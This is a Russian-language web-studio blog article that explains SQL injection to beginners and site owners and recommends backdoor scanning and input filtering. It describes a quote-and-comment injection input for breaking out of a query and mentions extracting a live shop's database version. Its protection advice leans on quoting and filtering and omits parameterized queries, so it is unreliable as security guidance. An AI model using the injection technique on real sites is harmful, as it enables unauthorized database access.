  1. SQL — injection;
  2. XSS;
  3. CSRF;
  4. PHP injection.

Также стоит отметить DDoS атаки: с их помощью нельзя получить несанкционированный доступ, но нанести непоправимый ущерб — запросто.

В данной статье мы рассмотрим детально первую уязвимость.

SQL Injection

Теперь нам нужно разобраться, что есть сайт, как он работает в общих чертах. Сайт — программа, в 90% случаев написанная на языке программирования PHP.

Для того чтобы веб-мастерам было удобнее управлять сайтом, вначале двухтысячных начали использовать базы данных (далее БД), где хранится вся информация о зарегистрированных пользователя, об их паролях, естественно, не в открытом виде, но об этом ниже. Кстати, даже то, что вы сейчас читаете, хранится в БД.

Что такое SQL инъекции?

Все очень просто. SQL — это язык общения с БД, а слово Injection переводится как “внедрение”. Иначе говоря, при помощи SQL Injection можно внедрить произвольный SQL-код, который сервер обработает и выдаст ответ.

Как все работает: примеры

БД состоит из таблиц, каждая таблица имеет строки и столбцы, все как в Еxel.

Для наглядности рассмотрим примерную структуру БД на всем знакомом сайте VK.com

Каждый пользователь “ВКонтакте”, естественно, имеет ряд персональных параметров: Имя, Фамилия, e-mail, дата регистрации и прочее. В итоге каждый столбец отвечает за свой параметр.

ID | First_name| Last_name | password | email .

1 | Pavel | Durov | 202cb962ac59075b964b07152d234b70 | .

2 | Vova | Pupkin | 827ccb0eea8a706c4c34a16891f84e7b | .

Скорее всего, вы решите, что у Паши Дурова и Вовы Пупкина очень сложный пароль (аж целых 32 символа!), но, на самом деле, вы ошибаетесь. Что же есть 202cb962ac59075b964b07152d234b70? Это так называемое хэш-значение, результат преобразования хэш-функции. Простым языком — зашифрованный пароль (хоть это не совсем так). Для чего это нужно? Для того чтобы хакер при взломе сайта не смог легко заполучить пароли пользователей. Но и на это есть свои методы. Если пароль зашифрован — это еще не гарантия безопасности.

Давайте представим, что вы (программа) вышли в магазин (БД) и просите продавца (SQL запрос): «Дайте, пожалуйста, одну пачку Мальборо за 100 рублей»;

Вот так это будет выглядеть на языке SQL:

SQL-сервер выдаст ответ на ваш вопрос, а делать вы с ним можете все что угодно. Можете как-то модифицировать эту информацию, посчитать или банально вывести на экран браузера.

Теперь вернемся к SQL Injection, как мы уже знаем, это внедрение произвольного кода в SQL-запрос. То есть уязвимость существует тогда, когда злоумышленник может внедрить свой выполняемый код.

Продолжим. Вот вы прочли Аллена Карра и бросили курить. Теперь вы ходите в магазин за исключительно полезными товарами:) В этот раз, вы пойдете. ну, допустим, за молоком.

Чтобы не забыть, вы записали на бумажке: «Один пакет молока за 50 рублей», но у вас есть друг (хакер), который курит. Он произвел SQL-атаку и теперь надпись гласит: «Один пакет молока за 50 рублей. $ИЛИ одну пачку Мальборо за 100 рублей$»

Вы приходите в магазин и читаете по бумажке: «Дайте, пожалуйста, один пакет молока за 50 рублей или пачку Мальборо за 100»

Продавец подумал, что ему незачем идти до холодильника с молоком, когда сигареты лежат рядом, и отдал их. Теперь вы идете с магазина, а ваш друг только этого и ждет, когда вы принесете ему сигареты.

Вот и пример SQL атак. На сайтах это выглядит иначе, конечно же. Сайт запрашивает с БД одну информацию, а с помощью SQL-инъекции можно получить, например, логины и пароли.

Как же происходит взлом?

Чтобы четко понимать, что именно нужно делать, программа берет SQL-запрос в кавычки. Приведу реальный пример. Допустим, мы хотим выяснить, сколько лет нашему другу, зная его имя и отправляя в переменную $_GET[‘name’]

Например, мы хотим узнать сколько лет Насте хоть это и неприлично, но БД все нам расскажет 🙂

В программе окажется код:

Рассмотрим чуть детальнее вот этот кусочек. у нас есть 2 пары кавычек.

Первая пара обозначает сам запрос целиком.

Вторая пара обозначает имя. Настя.

Так вот, а что если злоумышленник напишет не Настя, а Настя’ , с кавычкой в конце? Он нарушит синтаксис функции mysql_quevery. И SQL-сервер выдаст закономерный ответ — ошибку (потому как не сможет обработать ‘ , которая не является функцией).

Кстати, совсем забыл вам рассказать про оператора для комментирования. Один из них — это два тире, которые выглядят вот так: “—”. Что же случится, если мы передадим Настя’ — ?

Правильно. Все последующие записи закомментируются, т.е. закомментируется кавычка для закрытия функции mysql_query(). Теперь ее роль будет выполнять та кавычка, которую мы сами и написали. Верно, сейчас мы подходим к самому интересному. Таким способом мы получили доступ для свободного обращения к базе данных. Я привел в пример самую простую ошибку программиста.

В языках программирования есть разные типы данных, есть строки (String), есть числа (Integer), в зависимости от этого нужно правильно строить SQL-инъекцию. Кстати, “1” может быть как строкой, так и целым числом.

Это лишь край вершины айсберга, есть десятки способов реализации угроз типа SQL-инъекции.

Пример взлома сайта

Действительно ли все так страшно, как вам рассказывают? Не могу не приложить пример. Здесь мы наблюдаем интернет-магазин, который с помощью SQL уязвимости вывел нам информацию о версии SQL-сервера. Можно с легкостью вывести информацию и о логинах/паролях, но мы рассматриваем не методы взлома и деструктивного воздействия, а напротив, средства защиты (кстати говоря, администрация сайта уведомлена о найденной уязвимости). Иметь уязвимость в интернет-магазине — недопустимо, а если он еще и карты принимает — неприемлемо. Злые хакеры (не мы) могут получить доступ к сайту и записывать данные о дебетовых/кредитных картах покупателей, а затем использовать информацию в своих целях. Поэтому стоит очень внимательно относиться к безопасности как при создании веб-сайта, так и при покупках в сети.

Это лишь один из путей хакеров при монетизации сайтов. Их десятки: вирусы, дорвеи, редиректы, дополнительная реклама, невидимая sape на вашем сайте… и многое другое… Если вам это будет интересно, я с радостью напишу подробную статью на этот счет, пишите в комментарии.

Мы с вами пришли к выводу, что имея более-менее значимый проект, нельзя допускать уязвимость. Иначе в самый неподходящий момент это может привести к тяжелым последствиям. Хорошо, с этим разобрались, а что же делать? Для профессионального аудита стоит обратиться к профильным компаниям, но проверить элементарные SQL-уязвимости теперь вы можете и самостоятельно. Зачастую хакеры проверяют уязвимости автоматически, и, закрыв базовые уязвимости, вы сможете спасти свой сайт от взора хакера.

Что делать если мой сайт взломали?

Взломав сайт и используя информацию в своих целях, хакеры оставляют backdoors (скрытые точки входа хакера). Это могут быть файлы с любым расширением, даже jpg, но в них будет закодирован php-код для проникновения в систему. В наше время существует множество php-антивирусов, программ, которые сканируют вашу файловую систему сайта на предмет подозрительных файлов. Могу посоветовать бесплатное ПО AI-Bolit.

Для проверки сайта на наличие вредоносного ПО нужно загрузить скрипт-антивирус на ваш хостинг и запустить его, остальное он сделает за вас. После чистки бэкдоров необходимо закрыть брешь, через которую хакер к вам попал. Обновите движок, плагины, смените пароли, можете обратиться к хостеру, чтобы он выдал лог-файл, по которому можно понять через что именно был получен доступ. После закрытия канала проникновения и удаления бэкдоров, все должно быть хорошо, но каждый случай индивидуален и требует персонального подхода.

Как защитить свой сайт от взлома: базовая проверка на уязвимости SQL типа

Для начала, нам нужно найти ссылки такого типа…..

Т.е. любой URL, который содержит входные параметры. Здесь переменная $_GET[‘ID’] содержит значение 140, которое, возможно, передается серверу БД. Т.е. для базовой проверки вам нужно будет попробовать вставить кавычку и посмотреть, что выдаст в ответ ваш сайт.

Защита от SQL инъекций

Самое главное — фильтрация входящих данных, например, в параметрах поиска, при выборе номера страницы и прочее.

Выделим основные пункты для защиты вашего веб-сайта.

  • Максимально возможная фильтрация данных: злоумышленник не должен иметь прав вставить свою кавычку, затереть вашу.
  • Использовать при сравнении кавычки SELECT . WHERE name=’$name’.
  • Если вы пользуетесь SQL-функцией LIKE, обязательно фильтруйте символы “%” и “_”.
  • Если же вам требуется очень серьезная защита, можете создать белый список* вызова запросов, и сайт будет отвечать только на них.

*White list — лучший метод защиты от SQL-инъекций. Суть заключается в том, что в коде программы прописываются разрешенные для передачи SQL-серверу значения параметров, что практически полностью исключает возможность взлома веб-сайта с помощью SQL-инъекций.

Поздравляю! Вы дочитали статью до конца! Думаю, начинающим программистам эта статья окажется хоть капельку полезной.

Владельцы сайтов, надеюсь, не сильно испугались. Знайте, что главное — сотрудничать с хорошими компаниями, а не обращаться к неизвестным личностям.

Кстати, у нас полно статей-инструкций, в которых много практических советов с историей многолетней практики. Конечно, мы думали над тем, чтобы наладить тематическую рассылку, но пока не успеваем. Так что удобней всего подписаться на группу нашего блога, куда мы сразу расшариваем новые статьи, как только они появляются в блоге.

Специалисты студии SEMANTICA проведут комплексный анализ сайта по следующему плану:

– Технический аудит.
– Оптимизация.
– Коммерческие факторы.
– Внешние факторы.

Мы не просто говорим, в чем проблемы. Мы помогаем их решить

Мастер Йода рекомендует:  Как отключить комментарии в WordPress (полное руководство)
Добавить комментарий